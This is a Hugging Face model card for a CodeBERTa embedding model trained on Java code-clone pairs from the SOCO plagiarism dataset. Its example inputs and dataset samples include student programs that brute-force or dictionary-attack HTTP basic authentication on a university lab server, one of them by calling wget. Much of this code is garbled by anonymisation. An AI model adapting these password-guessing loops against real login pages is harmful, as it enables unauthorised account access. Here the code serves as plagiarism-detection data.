Modelpublic

buelfhood/SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1

sourceHugging Faceupdated 1y agoView on Hugging Face

0likes19downloads

Model Card

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

—Model Type: Sentence Transformer
—Base model: huggingface/CodeBERTa-small-v1
—Maximum Sequence Length: 512 tokens
—Output Dimensionality: 768 dimensions
—Similarity Function: Cosine Similarity

Model Sources

—Documentation: Sentence Transformers Documentation
—Repository: Sentence Transformers on GitHub
—Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

bash

pip install -U sentence-transformers

Then you can load this model and run inference.

python

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1")
# Run inference
sentences = [
    '\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\npublic class Dictionary\n{\n  public Dictionary()\n  {}\n\n  public boolean fetchURL(String urlString,String username,String password)\n  {\n     StringWriter  sw= new StringWriter();\n     PrintWriter  pw = new PrintWriter();\n     try{\n       URL url=new URL(urlString);  \n       String userPwd= username+":"+password;\n\n       \n       \n       \n       \n\n       BASE64Encoder encoder = new BASE64Encoder();\n       String encodedStr = encoder.encode (userPwd.getBytes());\n       System.out.println("Original String = " + userPwd);\n\t System.out.println("Encoded String = " + encodedStr);\n\n       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  \n       huc.setRequestProperty( "Authorization"," "+encodedStr);   \n       InputStream content = (InputStream)huc.getInputStream();\n       BufferedReader in   =\n       new BufferedReader (new InputStreamReader (content));\n       String line;\n       while ((line = in.readLine()) != null) {\n         pw.println (line);\n       System.out.println("");\n       System.out.println(sw.toString());\n       }return true;\n     } catch (MalformedURLException e) {\n       pw.println ("Invalid URL");\n       return false;\n     } catch (IOException e) {\n       pw.println ("Error  URL");\n       return false;\n     }\n\n  }\n\n  public void getPassword()\n  {\n     String dictionary="words";\n     String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";\n     String login="";\n     String pwd=" ";\n\n     try\n     {\n       BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));\n        startTime=System.currentTimeMillis();\n       while (pwd!=null)\n       {\n         pwd=inputStream.readLine();\n         if(this.fetchURL(urlString,login,pwd))\n         {\n            finishTime=System.currentTimeMillis();\n           System.out.println("Finally I gotta it,  password is : "+pwd);\n           System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");\n           System.exit(1);\n         } \n\n       }\n       inputStream.close();\n     }\n     catch(FileNotFoundException e)\n     {\n       System.out.println("Dictionary not found.");\n     }\n     catch(IOException e)\n     {\n       System.out.println("Error  dictionary");\n     }\n  }\n\n  public static void main(String[] arguments)\n  {\n     BruteForce bf=new BruteForce();\n     bf.getPassword();\n  } \n}',
    '\n\nimport java.io.*;\nimport java.*;\n\npublic class BruteForce \n{\n   public static void main(String args[]) \n   {\n      String s = null;\n      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n      \n      String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");\n     \n      String password = null;\n      int len = 0;\n      int num_tries = 0;\n\n      len = alphabets.length();\n      \n      \n      for (int i=0; i<len; i++)\n      {\n         for (int j=0; j<len; j++)\n\t {\n            for (int k=0; k<len; k++)\n\t    {\n               try \n               {\n                  \n                  password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));\n               \n                  System.out.print(alphabets.charAt(i)); \n                  System.out.print(alphabets.charAt(j)); \n                  System.out.println(alphabets.charAt(k));      \n\n                  \n                  Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);\n                  \n                  BufferedReader stdInput = new BufferedReader(new \n                     InputStreamReader(p.getInputStream()));\n\n                  BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\n                  \n                  while ((s = stdInput.readLine()) != null)\n                  {\n                     System.out.println(s);\n                  }\n                  \n                  \n                  while ((s = stdError.readLine()) != null)\n                  {\n                     System.out.println(s);\n                  }\n                  \n                  try\n\t\t      {\n                     p.waitFor(); \n                  }\n                  catch (InterruptedException g)  \n                  {\n                  }  \n\n                  num_tries++;\n                  \n                  if((p.exitValue()) == 0)\n                  {       \n                     System.out.println("**********PASSWORD IS: " + password);\n\t             System.out.println("**********NUMBER OF TRIES: " + num_tries);\n                     System.exit(1);\n                  }\n               }\n               catch (IOException e)\n               {\n                  System.out.println("exception happened - here\'s what I know: ");\n                  e.printStackTrace();\n                  System.exit(-1);\n               }\n            }\n         }\n      }\n   }\n}\n\n',
    '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.*;\n\npublic class BruteForce {\n\n   public static void main(String[] args) throws IOException {\n\n      \n      int start , end, total;\n      start = System.currentTimeMillis(); \n\n      String username = "";\n      String password = null;\n      String host = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n      \n      \n      String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n      int lettersLen = letters.length(); \n      int passwordLen=3; \n\n      int passwords=0; \n      int twoChar=0; \n\n      url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();\n      \n\n      \n      String authenticate = ""; \n      String realm = null, domain = null, hostname = null;\n       header = null; \n\n      \n      int responseCode;\n      String responseMsg;\n\n      \n      int temp1=0;\n      int temp2=0;\n      int temp3=0;\n\n\n      \n      \n      \n      for (int a=1; a<=passwordLen; a++) {\n        temp1  = (int) Math.pow(lettersLen, a);\n         passwords += temp1;\n         if (a==2) {\n            twoChar = temp1; \n         }\n      }\n\n      System.out.println("Brute Attack  " + host + " has commenced.");\n      System.out.println("Number of possible password combinations: " + passwords);\n\n\n      int i=1; \n\n       {\n         try {\n            \n            URL url = new URL(host);\n            HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();\n\n            \n            if(realm != null) {\n\n               \n               if ( i < lettersLen) {\n                  \n\n                   password = letters.substring(i, (i+1));\n\n               } else if (i < (lettersLen + twoChar)) {\n                   \n\n                   \n                   temp1 = i / lettersLen;\n                   password = letters.substring((-1), start );\n\n                   \n                   temp1 = i - ( temp1 * lettersLen);\n                   password = password + letters.substring(temp1, (+1));\n\n               } else {\n                   \n\n                   \n                   temp2 = i / lettersLen;\n                   temp1 = i - (temp2 * lettersLen);\n                   password = letters.substring(temp1, (+1));\n\n                   \n                   temp3 = temp2; \n                   temp2 = temp2 / lettersLen;\n                   temp1  = temp3 - (temp2 * lettersLen);\n                   password = letters.substring(temp1, (+1)) + password;\n\n                   \n                   temp3 = temp2; \n                   temp2 = temp2 / lettersLen;\n                   temp1 = temp3 - (temp2 * lettersLen);\n                   password = letters.substring(temp1, (+1)) + password;\n\n               } \n\n               \n               \n               authenticate = username + ":" + password;\n               authenticate = new String(base.encode(authenticate.getBytes()));\n               httpConnect.addRequestProperty("Authorization", " " + authenticate);\n\n            } \n\n            \n            httpConnect.connect();\n\n            \n            realm = httpConnect.getHeaderField("WWW-Authenticate");\n            if (realm != null) {\n               realm = realm.substring(realm.indexOf(\'"\') + 1);\n               realm = realm.substring(0, realm.indexOf(\'"\'));\n            }\n\n            hostname = url.getHost();\n\n            \n            responseCode = httpConnect.getResponseCode();\n            responseMsg = httpConnect.getResponseMessage();\n\n            \n            \n            \n            \n            \n\n            \n            \n            if (responseCode == 200) {\n               \n               end = System.currentTimeMillis();\n               total = (end - start) / 1000; \n\n               System.out.println ("Sucessfully Connected  " + url);\n               System.out.println("Login Attempts Required : " + (i-1));\n               System.out.println("Time Taken in Seconds : " + total);\n               System.out.println ("Connection Status : " + responseCode + " " + responseMsg);\n               System.out.println ("Username : " + username);\n               System.out.println ("Password : " + password);\n               System.exit( 0 );\n            } else if (responseCode == 401 && realm != null) {\n               \n               \n               \n               if (i > 1) {\n\n               }\n            } else {\n               \n               \n                System.out.println ("What the?... The server replied with  unexpected reponse." );\n               System.out.println (" Unexpected Error Occured While Attempting  Connect  " + url);\n               System.out.println ("Connection Status: " + responseCode + responseMsg);\n               System.out.println ("Unfortunately the password could not  recovered.");\n               System.exit( 0 );\n           }\n\n           i++;\n\n        } catch(MalformedURLException e) {\n           System.out.println("Opps, the URL " + host + " is not valid.");\n           System.out.println("Please check the URL and try again.");\n        } catch(IOException e) {\n           System.out.println(", \'t connect  " + host + ".");\n           System.out.println("Please check the URL and try again.");\n           System.out.println("Other possible causes include website is currently unavailable");\n           System.out.println("  have  internet connection problem.");\n        } \n\n     }  while(realm != null); \n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.2589, 0.2759],
#         [0.2589, 1.0000, 0.2076],
#         [0.2759, 0.2076, 1.0000]])

<!--

Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details> -->

<!--

Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details> -->

<!--

Out-of-Scope Use

List how the model may foreseeably be misused and address what users ought not to do with the model. -->

Evaluation

Metrics

Binary Classification

—Dataset: binary-classification-evaluator
—Evaluated with <code>BinaryClassificationEvaluator</code>

Metric	Value
cosine_accuracy	0.9995
cosineaccuracythreshold	0.8752
cosine_f1	0.9995
cosinef1threshold	0.8752
cosine_precision	0.9991
cosine_recall	1.0
cosine_ap	1.0
cosine_mcc	0.9991

<!--

Bias, Risks and Limitations

What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. -->

<!--

Recommendations

What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. -->

Training Details

Training Dataset

Unnamed Dataset

—Size: 77,328 training samples
—Columns: <code>text1</code>, <code>text2</code>, and <code>label</code>
—Approximate statistics based on the first 1000 samples: | | text1 | text2 | label | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:------------------------------------------------| | type | string | string | int | | details | <ul><li>min: 51 tokens</li><li>mean: 467.45 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.45 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~50.00%</li><li>1: ~50.00%</li></ul> |
—Samples: | text1 | text2 | label | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| | <code> import java.io.; import java.net.; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine())...</code> | <code> import java.io.; import java.net.; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter = new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) ...</code> | <code>1</code> | | <code> import java.io.; import java.net.; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine())...</code> | <code> import java.net.; import java.io.; import java.util.*; public class Dictionary{ private static URL location; private static String user; private BufferedReader input; private static BufferedReader dictionary; private int maxLetters = 3; public Dictionary() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println("Failed connect"); } catch (IOException e) ...</code> | <code>0</code> | | <code> import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } } </code> | <code> import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the burteforce Props"); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties"); bruteForceProps.load(fis); } } } </code> | <code>1</code> |
—Loss: <code>ContrastiveLoss</code> with these parameters:

json

  {
      "distance_metric": "SiameseDistanceMetric.COSINE_DISTANCE",
      "margin": 0.5,
      "size_average": true
  }

Evaluation Dataset

Unnamed Dataset

—Size: 8,592 evaluation samples
—Columns: <code>text1</code>, <code>text2</code>, and <code>label</code>
—Approximate statistics based on the first 1000 samples: | | text1 | text2 | label | |:--------|:------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:------------------------------------------------| | type | string | string | int | | details | <ul><li>min: 51 tokens</li><li>mean: 469.8 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 461.39 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~50.00%</li><li>1: ~50.00%</li></ul> |
—Samples: | text1 | text2 | label | |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| | <code> import java.util.; import java.io.; public class WatchDog { public static void main(String args[]) { Runtime rt1 = Runtime.getRuntime(); Process prss1= null; try { prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/"); }catch(java.io.IOException e){} MyWatchDogTimer w = new MyWatchDogTimer(); Timer time = new Timer(); time.schedule(w,864000000,864000000); } } </code> | <code> import java.util.; import java.io.; public class MyTimer { public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); } } </code> | <code>1</code> | | <code> import java.util.; import java.io.; public class WatchDog { public static void main(String args[]) { Runtime rt1 = Runtime.getRuntime(); Process prss1= null; try { prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/"); }catch(java.io.IOException e){} MyWatchDogTimer w = new MyWatchDogTimer(); Timer time = new Timer(); time.schedule(w,864000000,864000000); } } </code> | <code>import java.net.; import java.io.; import java.util.Vector; import java.util.Date; import java.security.; public class Dictionary { public static BufferedReader in; public static void main(String[] args) throws Exception { String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int count=0; Date date = new Date(); startTime=date.getTime(); int LIMITINMINUTES=45; int TIMELIMIT=LIMITINMINUTES1000*60; boolean timedOut=false; boolean found=false; Vector dictionary=new Vector(readWords()); System.out.println("Words in dictionary: "+dictionary.size()); while (found==false && timedOut==false && dictionary.elementAt(count)!=null) { Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; } String password = ""; ...</code> | <code>0</code> | | <code> import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties"); testProps.load(fis); } } } </code> | <code> import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the burteforce Props"); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties"); bruteForceProps.load(fis); } } } </code> | <code>1</code> |
—Loss: <code>ContrastiveLoss</code> with these parameters:

json

  {
      "distance_metric": "SiameseDistanceMetric.COSINE_DISTANCE",
      "margin": 0.5,
      "size_average": true
  }

Training Hyperparameters

Non-Default Hyperparameters

—eval_strategy: steps
—per_device_train_batch_size: 16
—per_device_eval_batch_size: 16
—learning_rate: 2e-05
—num_train_epochs: 1
—warmup_ratio: 0.1
—fp16: True
—batch_sampler: no_duplicates

All Hyperparameters

<details><summary>Click to expand</summary>

—overwrite_output_dir: False
—do_predict: False
—eval_strategy: steps
—prediction_loss_only: True
—per_device_train_batch_size: 16
—per_device_eval_batch_size: 16
—per_gpu_train_batch_size: None
—per_gpu_eval_batch_size: None
—gradient_accumulation_steps: 1
—eval_accumulation_steps: None
—torch_empty_cache_steps: None
—learning_rate: 2e-05
—weight_decay: 0.0
—adam_beta1: 0.9
—adam_beta2: 0.999
—adam_epsilon: 1e-08
—max_grad_norm: 1.0
—num_train_epochs: 1
—max_steps: -1
—lr_scheduler_type: linear
—lr_scheduler_kwargs: {}
—warmup_ratio: 0.1
—warmup_steps: 0
—log_level: passive
—log_level_replica: warning
—log_on_each_node: True
—logging_nan_inf_filter: True
—save_safetensors: True
—save_on_each_node: False
—save_only_model: False
—restore_callback_states_from_checkpoint: False
—no_cuda: False
—use_cpu: False
—use_mps_device: False
—seed: 42
—data_seed: None
—jit_mode_eval: False
—use_ipex: False
—bf16: False
—fp16: True
—fp16_opt_level: O1
—half_precision_backend: auto
—bf16_full_eval: False
—fp16_full_eval: False
—tf32: None
—local_rank: 0
—ddp_backend: None
—tpu_num_cores: None
—tpu_metrics_debug: False
—debug: []
—dataloader_drop_last: False
—dataloader_num_workers: 0
—dataloader_prefetch_factor: None
—past_index: -1
—disable_tqdm: False
—remove_unused_columns: True
—label_names: None
—load_best_model_at_end: False
—ignore_data_skip: False
—fsdp: []
—fsdp_min_num_params: 0
—fsdp_config: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgrad_ckpt': False}
—fsdp_transformer_layer_cls_to_wrap: None
—accelerator_config: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None}
—parallelism_config: None
—deepspeed: None
—label_smoothing_factor: 0.0
—optim: adamwtorchfused
—optim_args: None
—adafactor: False
—group_by_length: False
—length_column_name: length
—ddp_find_unused_parameters: None
—ddp_bucket_cap_mb: None
—ddp_broadcast_buffers: False
—dataloader_pin_memory: True
—dataloader_persistent_workers: False
—skip_memory_metrics: True
—use_legacy_prediction_loop: False
—push_to_hub: False
—resume_from_checkpoint: None
—hub_model_id: None
—hub_strategy: every_save
—hub_private_repo: None
—hub_always_push: False
—hub_revision: None
—gradient_checkpointing: False
—gradient_checkpointing_kwargs: None
—include_inputs_for_metrics: False
—include_for_metrics: []
—eval_do_concat_batches: True
—fp16_backend: auto
—push_to_hub_model_id: None
—push_to_hub_organization: None
—mp_parameters:
—auto_find_batch_size: False
—full_determinism: False
—torchdynamo: None
—ray_scope: last
—ddp_timeout: 1800
—torch_compile: False
—torch_compile_backend: None
—torch_compile_mode: None
—include_tokens_per_second: False
—include_num_input_tokens_seen: False
—neftune_noise_alpha: None
—optim_target_modules: None
—batch_eval_metrics: False
—eval_on_start: False
—use_liger_kernel: False
—liger_kernel_config: None
—eval_use_gather_object: False
—average_tokens_across_devices: False
—prompts: None
—batch_sampler: no_duplicates
—multi_dataset_batch_sampler: proportional
—router_mapping: {}
—learning_rate_mapping: {}

</details>

Training Logs

Epoch	Step	Training Loss	Validation Loss	binary-classification-evaluator_cosine_ap
0.0207	100	0.0203	-	-
0.0414	200	0.0079	-	-
0.0621	300	0.0032	-	-
0.0828	400	0.0018	-	-
0.1035	500	0.001	0.0007	0.9999
0.1241	600	0.0007	-	-
0.1448	700	0.0005	-	-
0.1655	800	0.0006	-	-
0.1862	900	0.0004	-	-
0.2069	1000	0.0006	0.0003	1.0000
0.2276	1100	0.0005	-	-
0.2483	1200	0.0002	-	-
0.2690	1300	0.0004	-	-
0.2897	1400	0.0004	-	-
0.3104	1500	0.0004	0.0002	1.0000
0.3311	1600	0.0002	-	-
0.3517	1700	0.0004	-	-
0.3724	1800	0.0003	-	-
0.3931	1900	0.0002	-	-
0.4138	2000	0.0004	0.0002	1.0000
0.4345	2100	0.0001	-	-
0.4552	2200	0.0003	-	-
0.4759	2300	0.0002	-	-
0.4966	2400	0.0004	-	-
0.5173	2500	0.0003	0.0002	0.9999
0.5380	2600	0.0001	-	-
0.5587	2700	0.0003	-	-
0.5794	2800	0.0004	-	-
0.6000	2900	0.0002	-	-
0.6207	3000	0.0003	0.0002	1.0000
0.6414	3100	0.0003	-	-
0.6621	3200	0.0002	-	-
0.6828	3300	0.0004	-	-
0.7035	3400	0.0003	-	-
0.7242	3500	0.0004	0.0002	1.0000
0.7449	3600	0.0002	-	-
0.7656	3700	0.0002	-	-
0.7863	3800	0.0003	-	-
0.8070	3900	0.0003	-	-
0.8276	4000	0.0002	0.0001	1.0000
0.8483	4100	0.0002	-	-
0.8690	4200	0.0003	-	-
0.8897	4300	0.0002	-	-
0.9104	4400	0.0003	-	-
0.9311	4500	0.0002	0.0002	1.0000
0.9518	4600	0.0001	-	-
0.9725	4700	0.0005	-	-
0.9932	4800	0.0004	-	-

Framework Versions

—Python: 3.11.11
—Sentence Transformers: 5.1.1
—Transformers: 4.56.2
—PyTorch: 2.8.0.dev20250319+cu128
—Accelerate: 1.10.1
—Datasets: 4.1.1
—Tokenizers: 0.22.1

Citation

BibTeX

Sentence Transformers

bibtex

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

ContrastiveLoss

bibtex

@inproceedings{hadsell2006dimensionality,
    author={Hadsell, R. and Chopra, S. and LeCun, Y.},
    booktitle={2006 IEEE Computer Society Conference on Computer Vision and Pattern Recognition (CVPR'06)},
    title={Dimensionality Reduction by Learning an Invariant Mapping},
    year={2006},
    volume={2},
    number={},
    pages={1735-1742},
    doi={10.1109/CVPR.2006.100}
}

<!--

Glossary

Clearly define terms in order to be accessible across audiences. -->

<!--

Model Card Authors

Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction. -->

<!--

Model Card Contact

Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors. -->